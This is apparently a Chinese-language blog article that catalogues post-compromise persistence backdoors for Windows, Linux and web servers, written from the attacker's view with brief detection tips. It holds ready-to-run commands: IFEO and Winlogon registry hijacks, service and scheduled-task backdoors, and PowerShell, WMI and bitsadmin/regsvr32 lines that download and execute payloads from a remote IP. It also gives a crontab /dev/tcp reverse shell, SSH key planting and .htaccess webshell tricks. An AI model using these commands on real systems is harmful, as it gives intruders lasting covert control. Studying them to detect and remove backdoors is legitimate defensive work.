一、前言
在攻擊者利用漏洞獲取到某台機器的控制權限之后,會考慮將該機器作為一個持久化的據點,種植一個具備持久化的后門,從而隨時可以連接該被控機器進行深入滲透。本文從Windows持久化,Linux持久化和Web持久化對現有技術進行了總結,對於持久化的攻擊形式,主要是靠edr、av等終端產品進行檢測。
二、Windows后門
2.1輔助功能鏡像劫持
為了使電腦更易於使用和訪問,Windows 添加了一些輔助功能。這些功能可以在用戶登錄之前以組合鍵啟動。根據這個特征,一些惡意軟件無需登錄到系統,通過遠程桌面協議就可以執行惡意代碼。
一些常見的輔助功能如:
C:\Windows\System32\sethc.exe 粘滯鍵 快捷鍵:按五次 shift 鍵
C:\Windows\System32\utilman.exe 設置中心 快捷鍵:Windows+U 鍵
C:\Windows\System32\osk.exe 屏幕鍵盤
C:\Windows\System32\Magnify.exe 放大鏡 快捷鍵:Windows+加減號
在較早的 Windows 版本,只需要進行簡單的二進制文件替換,比如經典的shift后門是將C:\Windows\System32\ sethc.exe替換為cmd.exe。對於在 Windows Vista 和 Windows Server 2008 及更高的版本中,替換的二進制文件受到了系統的保護,因此這里就需要另一項技術:映像劫持。
映像劫持,也被稱為「IFEO」(Image File Execution Options), 是Windows內設的用來調試程序的功能,Windows注冊表中存在映像劫持子鍵(Image File Execution Options)。
當我們雙擊運行程序時,系統會查詢該IFEO注冊表,如果發現存在和該程序名稱完全相同的子鍵,就查詢對應子健中包含的“dubugger”鍵值名,如果該參數不為空,系統則會把 Debugger 參數里指定的程序文件名作為用戶試圖啟動的程序執行請求來處理。這樣成功執行的是遭到“劫持”的虛假程序。
具體實現最簡單的操作就是修改注冊表,
以設置中心utilman.exe為例:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option中添加 utilman.exe 項,在此項中添加 debugger 鍵,鍵值為要啟動的程序路徑。對應的cmd命令如下:
REG ADD "HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\utilman.exe" /tREG_SZ /v Debugger /d "C:\test.bat" /f
注冊表鍵值情況及啟動效果:
檢測及清除辦法:
檢查HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option注冊表路徑中的程序名稱及鍵值。
2.2啟動項/服務后門
2.2.1開始菜單啟動項
開始菜單啟動項,指示啟動文件夾的位置,具體的位置是“開始”菜單中的“所有程序”-“啟動”選項:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
相關鍵值:
在重新啟動后,該目錄的快捷方式或應用程序會在系統啟動的時候被執行:
檢測及清除辦法:檢查相關注冊表鍵值或使用autoruns。
2.2.2啟動項注冊表后門
最常見的在啟動項注冊表鍵值添加一個新的鍵值類型為REG_SZ,數據項中添寫需要運行程序的路徑即可以啟動,此類操作一些較為敏感容易被本地AV攔截,目前也是較為常見的一種方式。
啟動項鍵值路徑如下:
HKEY_LOCAL_MACHINE\SOFTWARE\Microft\windows\currentversion\run
使用命令:
檢查相關注冊表鍵值或使用autoruns。
2.2.3自啟動服務后門
在 Windows上還有一個重要的機制,也就是服務。服務程序通常默默的運行在后台,且擁有 SYSTEM 權限,非常適合用於后門持久化。我們可以將 EXE /DLL等可執行文件注冊為服務實現后門持久化。
將exe木馬添加到自啟動服務中
sc create "GoogleUpdated" binpath= "C:\Users\Administrator\Desktop\test.exe"
sc description "GoogleUpdated" "description" 設置服務的描述字符串
sc config "GoogleUpdated" start= auto 設置這個服務為自動啟動 net start "GoogleUpdated" 啟動服務
將自己的惡意的可執行文件注冊成服務,cs中支持生成此類后門:
也可以嘗試配合使用powershell生成無文件的后門:
powershell.exe -nop -w hidden -c \"IEX ((new-object
net.webclient).downloadstring('http://186.64.5.115:80/a'))\"
刪除服務:
sc delete "GoogleUpdated"
檢測及清除辦法:
排查自啟動服務。
2.3系統計划任務后門
Windows實現定時任務主要有schtasks與at二種方式,通過計划任務
At 適用於windows xp/2003,Schtasks適用於win7/2008+
schtasks /create /sc minute /mo 5 /tn "chrome" /tr c:\test.bat
執行后計划任務成功創建:
也可以和bitsadmin聯動實現無文件后門:
"%WINDIR%\system32\bitsadmin.exe /resume \"chrome\""
檢測及清除辦法:
使用autoruns排查計划任務。
2.4DLL劫持
如果在進程嘗試加載一個DLL時沒有指定DLL的絕對路徑,那么Windows會嘗試去指定的目錄下查找這個DLL;如果攻擊者能夠控制其中的某一個目錄,並且放一個惡意的DLL文件到這個目錄下,這個惡意的DLL便會被進程所加載,進而持久化控制。
由於 輸入表中只包含DLL名而沒有它的路徑名,因此加載程序必須在磁盤上搜索 DLL文件。首先會嘗試從當前程序所在的目錄加載DLL,如果沒找到,則在 Windows系統目錄中查找,最后是在 環境變量中列出的各個目錄下查找。利用這個特點,先偽造一個系統同名的DLL,提供同樣的 輸出表,每個輸出函數轉向真正的系統DLL。程序調用系統DLL時會先調用當前目錄下偽造的DLL,完成相關功能后,再跳到系統DLL同名函數里執行。這個過程用個形象的詞來描述就是系統DLL被劫持(hijack)了。
比較常用的如LPK.dll的劫持:
win7及win7以上系統增加了KnownDLLs保護,需要在如下注冊表下添加dll才能順利劫持:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls
構造劫持lpk.dll需要和原dll函數具有相同的導出表,在初始化函數中加入我們要執行的代碼,這樣調用時會執行插入的后門代碼。
2.5Winlogon用戶登錄初始化
Winlogon.exe 進程是 Windows 操作系統中非常重要的一部分,Winlogon 用於執行與 Windows 登錄過程相關的各種關鍵任務,例如,當在用戶登錄時,Winlogon 進程負責將用戶配置文件加載到注冊表中。
在注冊表項 HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\和 HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\用於管理支持 Winlogon 的幫助程序和擴展功能,對這些注冊表項的惡意修改可能導致 Winlogon 加載和執行惡意 DLL 或可執行文件。
已知以下子項可能容易被惡意代碼所利用:
Winlogon\Userinit – 指向 userinit.exe,即用戶登錄時執行的用戶初始化程序。攻擊者可以利用這些功能重復執行惡意代碼建立持久后門,如下的代碼演示了如何通過在 Userinit 子鍵添加惡意程序路徑實現駐留系統的目的。
修改winlogon Userinit字段:
注冊表路徑:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
鍵值:Userinit
Powershell一鍵修改命令:
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,***************"
結合powershell,可以達到無文件后門效果:
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe, powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://186.64.5.115:80/a'))\""
檢查及清除:
檢查以下注冊表中的鍵值是否存在不明來歷的程序路徑HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
2.6Logon Scripts后門
Windows登錄腳本,當用戶登錄時觸發,Logon Scripts能夠優先於殺毒軟件執行,繞過殺毒軟件對敏感操作的攔截。
注冊表位置:
HKEY_CURRENT_USER\Environment\
創建字符串鍵值: UserInitMprLogonScript,鍵值設置為后門的絕對路徑:c:\test.bat
查看對應注冊表鍵值,HKEY_CURRENT_USER\Environment\UserInitMprLogonScript
2.7劫持helper dll
netsh是windows系統本身提供的功能強大的網絡配置命令行工具
netsh add helper c:\test\netshtest.dll
Helper.dll添加成功后,每次調用netsh,均會加載c:\test\netshtest.dll
檢查注冊表位置:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh
或者通過Process Explorer查看netsh進程加載的dll
清除:
netsh delete helper c:\test\netshtest.dll
或者直接在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh刪除對應鍵值
2.8無文件執行
2.8.1WMI構造無文件后門
WMI(Windows管理工具)是微軟基於Web的企業管理(WBEM)的實現版本,這是一項行業計划,旨在開發用於訪問企業環境中管理信息的標准技術。
該類型后門主要用到了WMI展現出來的兩個特征:無文件和無進程。通過與Powershell命令配合使用可以實現無文件,具有良好的隱蔽性也是目前較為常用的持久化手段。
下面是比較典型的代碼,
每60秒會重復觸發事件,我們設定的命令會被執行:
$Name = 'test' # build the filter $TimeExecTime = 60 $Query = "SELECT * FROM __InstanceModificationEvent WITHIN $TimeExecTime WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" $NS = "root\subscription" $FilterArgs = @{ Name=$Name EventNameSpace="root\cimv2" QueryLanguage="WQL" Query=$Query } $Filter = Set-WmiInstance -Namespace $NS -Class "__EventFilter" -Arguments $FilterArgs # build the consumer $ConsumerName = $Name $command = "`$wc = New-Object System.Net.Webclient; `$wc.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) Like Gecko'); `$wc.proxy = [System.Net.WebRequest]::DefaultWebProxy; `$wc.proxy.credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; IEX (`$wc.DownloadString('http://186.64.5.115:80/a'))" #$encCommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command)) $commandLine = "C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -NoP -NonI -w hidden -Command $command" $ConsumerArgs = @{ Name=$ConsumerName CommandLineTemplate=$commandLine } $consumer = Set-WmiInstance -Class "CommandLineEventConsumer" -Namespace $NS -Arguments $ConsumerArgs #Bind filter and consumer $Args = @{ Filter = $Filter Consumer = $consumer } Set-WmiInstance -Class "__FilterToConsumerBinding" -Namespace "root\subscription" -Arguments $Args
通過查看cs日志,可以看到上線記錄:
缺點:目前殺軟對powershell這類監管較嚴格,容易被發現
檢測及清除:
從WMI數據庫中刪除條目的最簡單方法,就是使用Autoruns。為此,我們不妨以管理員身份啟動Autoruns,並選擇WMI選項卡,這樣就可以查找與WMI相關的持久性后門了。
2.8.2Bitsadmin(windows 自帶用於創建上傳或下載任務)
bitsadmin.exe是windows自帶的可用於創建下載或上載作業並監視其進度,bistadmin可以指定下載成功之后要進行什么命令。
Bistadmin可以指定下載成功之后要進行什么命令。后門就是利用的下載成功之后進行命令執行。可繞過autorun、常見殺軟檢測。
如果任務未完成,支持在重新啟動計算機或重新建立網絡連接之后自動恢復文件傳輸。
bitsadmin /create backdoor # 創建任務 bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe 給任務test添加一個下載文件 bitsadmin.exe /SetNotifyCmdLine backdoor "%COMSPEC%" "cmd.exe /c start /B C:\aa.exe" //設置在任務完成傳輸時或任務進入狀態時將運行的命令行命令 bitsadmin /Resume backdoor # 激活執行任務
無文件不落地后門
bitsadmin /create backdoor bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:http://186.64.5.115:80/aa scrobj.dll" bitsadmin /Resume backdoor
重啟計算機:
重啟計算機,發現彈出對話框,BITS 任務依然存在,如果我們想讓任務完成,可以執行bitsadmin /complete test
檢測及查殺:
使用bitsadmin列出所有任務
bitsadmin /list /allusers /verbose
2.9進程注入
准確來說進程注入不是后門技術或者權限維持技術,而是一種隱藏技術,以cobaltstrike為例,一般可以注入到像是lsass或者explorer這樣的進程當中,相對比較隱蔽,較難排查
進程注入排查:
使用工具process explorer 、process monitor等均可
三、Linux后門
3.1crontab計划任務后門
這相當於windows的計划任務,規定時間來執行指定命令。這通常與反彈shell一起運用,crontab格式 每隔60分鍾執行一次
(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -
命令解釋:
echo '*/60 * * * *' #crontab格式 每隔60分鍾執行一次
exec 9<>/dev/tcp/127.0.0.1/8888
以讀寫方式打開/dev/tcp,並指定服務器名為:127.0.0.1(攻擊機) 端口號為:8888,指定描述符為9,要注意的是:/dev/tcp本身是不存在的,在/dev目錄下是找不到的
exec 0<&9;exec 1>&9 2>&1;
linux 三個基本文件描述符 0:stdin 1:stdout 2:stderr
n >&m 表示使文件描述符n成為描述符m的副本
exec 0<&9; 將fd9從定向到標准輸入;
exec 1>&9 2>&1; 將標准輸出從定向到文件fd9,將標准錯誤從定向到標准輸出.
簡單的理解為fd9=fd0 fd1=fd9 所以我的理解是,fd9從標准輸入讀入字符,處理后結果用標准輸出輸出.
/bin/bash --noprofile -i
3.2SSH公鑰免密
將客戶端生成的ssh公鑰寫到所控服務器的~/.ssh/authorized_keys中,然后客戶端利用私鑰完成認證即可登錄。客戶端執行生成公鑰和私鑰:
ssh-keygen -t rsa
把id_rsa.pub寫入服務端的authorized_keys中,並修改好相應權限。
服務端:
cat id_dsa.pub >> ~/.ssh/authorized_key
這種后門的特點是簡單易用,但在實戰中會被服務器的配置環境所限制,以及容易被發現。
3.3Rookit后門
3.3.1應用級rookit
應用級rookit的主要特點是通過批量替換系統命令來實現隱藏,如替換ls、ps和netstat等命令來隱藏文件、進程和網絡連接等,有時會有守護進程來保證后門的穩定性。推薦兩款常用的木馬:mafix和brookit。
3.4內核級rookit
隱藏性通常要借助對linux系統調用的截獲來達到目的,並且難以查殺,難以清除,危害巨大。
四、Web權限維持
通過對webshell的動靜態免殺繞過防護軟件,進行權限維持。通過修改webshell時間戳,放到不被管理員關注的一些深層目錄中,去除敏感shell函數特征,通過對shell流量雙向加密去避開常規waf檢測
4.1Webshell隱藏
使用windows自帶命令行工具attrib用來顯示或更改文件屬性。
attrib +r +s +h
4.2配置文件型后門
在.htaccess中添加php解析的新后綴並上傳,之后上傳該后綴的木馬即可。
AddType application/x-httpd-php .txt
4.3中間件后門
將編譯好的so文件添加到php.ini的extension中。當模塊被初始化時,會去加載執行我們的代碼。當發送特定參數的字符串過去時,即可觸發后門。
五、總結
本文從攻擊者視角總結了在獲取到服務器或主機權限后,維持權限的一些技巧,持久化主要是為了把攻陷的目標作為據點進一步深入滲透。由於水平有限,歡迎大家指出文中的錯誤和交流指教。
參考資料:
1.https://xz.aliyun.com/t/6822 持久化研究
2.https://github.com/klionsec/



















